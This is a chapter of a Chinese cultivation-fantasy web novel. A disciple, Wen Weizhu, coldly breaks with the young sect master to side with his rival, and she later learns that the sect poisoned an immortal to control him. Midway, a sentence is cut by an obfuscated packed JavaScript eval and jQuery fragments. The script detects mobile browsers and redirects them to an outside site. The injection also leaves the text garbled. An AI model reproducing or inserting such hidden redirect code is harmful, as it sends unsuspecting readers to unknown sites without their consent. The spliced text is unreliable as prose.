作为罪魁祸首的温微竹神色从容,面上没有半分愧色。
有一种理直气壮的可恶。
她继续说道:“我一个杂灵根想在高手云集的宗门内图个安稳,只能去依附强者。当初靠近你们是如此,现在靠近蒋师兄自然也是如此。慕强是天性,蒋师兄比少宗主更强,更好攀附,我为什么要舍近求远?”
她说这些话的时候直视着栗烈。
像是在告诉栗烈,她话语中化成的利剑,戳的不是别人,正是栗烈的心窝。
“温师妹,你疯了吗?”于文峥率先跳出来责难,“我之前就提醒过你,蒋明祐对女弟子没有真心,等玩腻了就甩,到时候你不但得不到他的庇护,反而会被其他爱慕蒋明祐的人群起而攻之!”
于文峥气愤之余又长吁短叹,“我一直觉得你还算聪明,现在怎么会这么糊涂?”
于文峥气得跺脚,既气又恼,实在不明白看起来挺聪明的温微竹怎么就做了如此糊涂的事情。
就算是和少宗主吵架怄气也不能拿自己的性命开玩笑。
别人还行,蒋明祐那是能随便靠近的人吗?
之前对她的耳提面令都打了水漂,是一句没听进去!
于文峥的焦急与痛心皆出自真心,这些日子以来,他是从心底里将温微竹当做朋友。
更何况,自从知道他与温微竹任务一致,他自然而然将她当成了同伴、战友……
等等……
温微竹不是宗主派去少宗主身边的吗?
怎么现在来这一出?
任务不做了?
温微竹不但跟少宗主闹掰了,和宗主也闹掰了?
于文峥的脑子一下子过载,没能反应过来现在到底是个什么情况。
之前一听温微竹跟蒋明祐在一起,第一反应是蒋明祐又开始找茬,完全忘了温微竹还有一重身份的事情。
现在一想……
这情况怎么有点奇怪?
在场其他人却没有注意到于文峥忽然卡壳,温微竹也没有回答于文峥的问题,而是看向少宗主。
栗烈对温微竹的过往印象在土崩瓦解,从那一夜从云萃峰回来之后,他对温微竹就充满了怀疑与愤恨。
此刻,温微竹的脸在他的脑海中一遍又一遍的崩解又重组,逐渐变得面目全非,变成了他完全不认得的模样。
“少宗主,可还记得,我曾经跟你说过,我不想成为你与蒋师兄争强好胜的棋子。”
栗烈只是盯着眼前的人。
他已经不想开口说任何话,他只想知道,一次次崩解之后的这个人,最终会拼成一个什么模样。
温微竹静默了一会,也不需要少宗主的回答。
“可我还是卷入了其中。”
栗烈记得,在禁闭室里温微竹说他多管闲事,本来她已经要与蒋明祐分道扬镳,是他的出现,再次将温微竹卷入了其中。
“既然我注定要成为你们之间争夺的筹码。那我为何不干脆成为胜者的战利品?这样我就不会一直陷入这无谓的争端之中。”
温微竹的视线再次转向于文峥,“于师兄,现在明白我与其他女弟子的区别了吗?”
于文峥还在宕机中,自然不知道这其中逻辑。
“其他女弟子只是蒋师兄的玩物,但我不一样,我是蒋师兄的战利品,是从少宗主手里抢过来的战利品。”
温微竹特意强调了‘少宗主’三个字,让在场的其他三个人都明白这其中微妙的心理博弈。
蒋明祐针对少宗主不是一天两天。
在常阳宗,天赋蒋明祐比少宗主高。
但少宗主起步比蒋明祐早,资源比蒋明祐丰富,而且还有宗主当靠山。
作为中途修炼,无背景无根基的天灵根,蒋明祐在少宗主面前,除了天赋,没有一样能比得过。
而偏偏,在这一条赛道,少宗主不愿意跟他比。
少宗主甚至根本不在乎修炼,中途撇了最擅长的阵法,去修了毫无天赋的剑道。
在大家都追求修为的时候,少宗主却不知道脑子里在想什么,无视他人目光,过的随心所欲。
栗烈咬紧了牙,一字一顿道:“你算什么战利品!”
“我算不算战利品,少宗主说了不算,蒋师兄说了才算。”温微竹脸上没有半分以往的温驯婉约,反而透着一丝算计狡诈,“就算少宗主说我对你来说什么也不是,但我去过灵深峰是事实,替少宗主做了一段时间的饭也是事实,在藏书阁,少宗主为我跟蒋师兄起冲突也是事实……”
栗烈的脸被温微竹的一句句话鱼说得越来越白。
温微竹却犹不甘心似的,继续说:“少宗主怎么想我的不重要,别人怎么想才重要。别人不理解其中弯弯绕绕,只知道结果是,曾经属于少宗主的东西,后来被蒋师兄抢走了。”
栗烈终于忍不住一把拽住温微竹的衣领,低头凝视着近在咫尺的这张完全陌生的脸,咬牙切齿地问:“你曾经属于过我吗?”
以往温润的那双眸子此刻透着冷漠,温微竹点点头,仿佛给栗烈的心中种下一根刺一般,笃定道:“我以前属于你。”
这是一个悖论,一个博弈。
温微竹以前是否属于栗烈,哪种意义上的属于,温微竹全然没有提及。
她不过是在栗烈的心中种下这样一种印象。
曾经属于他的东西,如今被蒋明祐抢走了。
原因是蒋明祐比他强。
栗烈心神震荡,心中有一种失去自己所有物的悲恸,他哑着声音问:“你真的要选择蒋明祐?”
温微竹眼神坚定,没有半分逃避,“对的。少宗主,如果你变得比蒋师兄更强,我也可以跟你走。”
栗烈眼眸闪烁,下一刻却听得温微竹说:“但是你不会的。”
“你说什么?”栗烈质问。
“你一直活在自己的世界里,你觉得当年如果你练的是剑道,大妖就不会逃走。可你没有想过,大妖会逃走本质是你不够强,而不是你手中没有武器。”
栗烈像是被无形的巨锤当胸击中,整个人猛地踉跄后退。
温微竹垂眸,不去看栗烈失去血色的脸。
“少宗主,你走吧。”
于文峥带着失魂落魄的栗烈离开了。
在一旁没派上什么用场的蒋明祐望着栗烈从未有过的失意背影,不由啧啧称奇。
“你可真狠,看得我都不忍心了。”
温微竹翻了个白眼,“我看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279932|182507||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你看乐子看得挺开心。”
“这你说的就不对了,你当着两位师弟的面说我嫉妒栗师弟,我心里很受伤的好吧?”
温微竹无语,“要是说你看上的是我的杂灵根和平平无奇的相貌,你觉得哪点更侮辱你一点?”
蒋明祐竟无言以对。
温微竹不想跟蒋明祐多言,丢下一句走了,头也不回地离开了。
回到云萃峰,一个五岁左右的男童飞身而至,噙着眼泪扑进温微竹的怀里:“你终于回来了,你出去了好久。”
温微竹对小孩的眼泪毫无感觉,对小孩子依恋的拥抱也没有回应,站在原地没有避开对方扑过来,已经算是她善心大发。
“我只出去了半天。”温微竹皱眉让小孩把眼泪擦干不要蹭到她衣服上,同时动了动大腿,示意抱着她大腿的手放开。
小孩不情不愿地放开温微竹,擦了擦眼泪。
温微竹例行问他云萃峰的情况。
“没有人来,主人状态没有变化。”小孩乖乖汇报情况。
温微竹点点头,没说什么。
那天温微竹从灵深峰回来之后,本来打算的是利用院子改造的图纸,诱导少宗主多接触阵法,为了能实现效果,让少宗主研究高阶阵法以及最好能自己创造阵法。
这个方法有一点难度,但可行度还可以,她也可以根据情况随时调整战略。
但在她差不多完成图纸的那天,云萃峰出现了变动。
无息仙尊的剑灵化形现身,并带给了她一个与无息仙尊中毒有关的令人震惊的真相。
“你不要相信栗宗主!”剑灵由于灵力问题,只能化身成五岁孩童,说话的声音奶声奶气,但焦急万分。
“怎么回事?”温微竹问。
剑灵这才将事情的始末娓娓道来。
温微竹才知道自己被丁长老与栗宗主骗了。
无息仙尊体内的毒,就是宗门下的,根本与那场大战无关。
而无息仙尊体内的毒并非一朝一夕的事,而是从他入宗门的那天开始,就存在于他的体内。
这是宗门控制天灵根的一种手段。
为了让天灵根为宗门所用,变成宗门的一把刀。
无息仙尊原先并不知情,直到他不想被宗门利用,想要反抗,才发现自己一直在宗门的掌控之中。
为了寻找解药,无息仙尊想了很多办法,最后终于听说有一种解百毒的食毒草,这种草说不定有希望解他体内的毒。
却不成想遇上了妖族入侵,修真界大战。
为了不被宗门发现端倪,无息仙尊参加了封妖大战。
“但主人在大战之中遭了暗算!”剑灵恨恨道。
无息仙尊在大战中被人暗算受伤,陷入昏迷。
宗门不但不竭尽全力医治,反而对外宣称无息仙尊受伤闭关,随后便将无息仙尊放在云萃峰弃之不顾。
“宗门的毒需要每月服用解药方可遏制,主人受伤昏迷之后,宗门就再也没给他服用过解药,导致主人中毒渐深,最终被毒素覆盖灵台,损了根基!”
“再这样下去,主人必死无疑。”剑灵呜呜哭泣,大致是身体是小孩子,内心也跟着退化成小孩子,完全管不住自己的泪腺。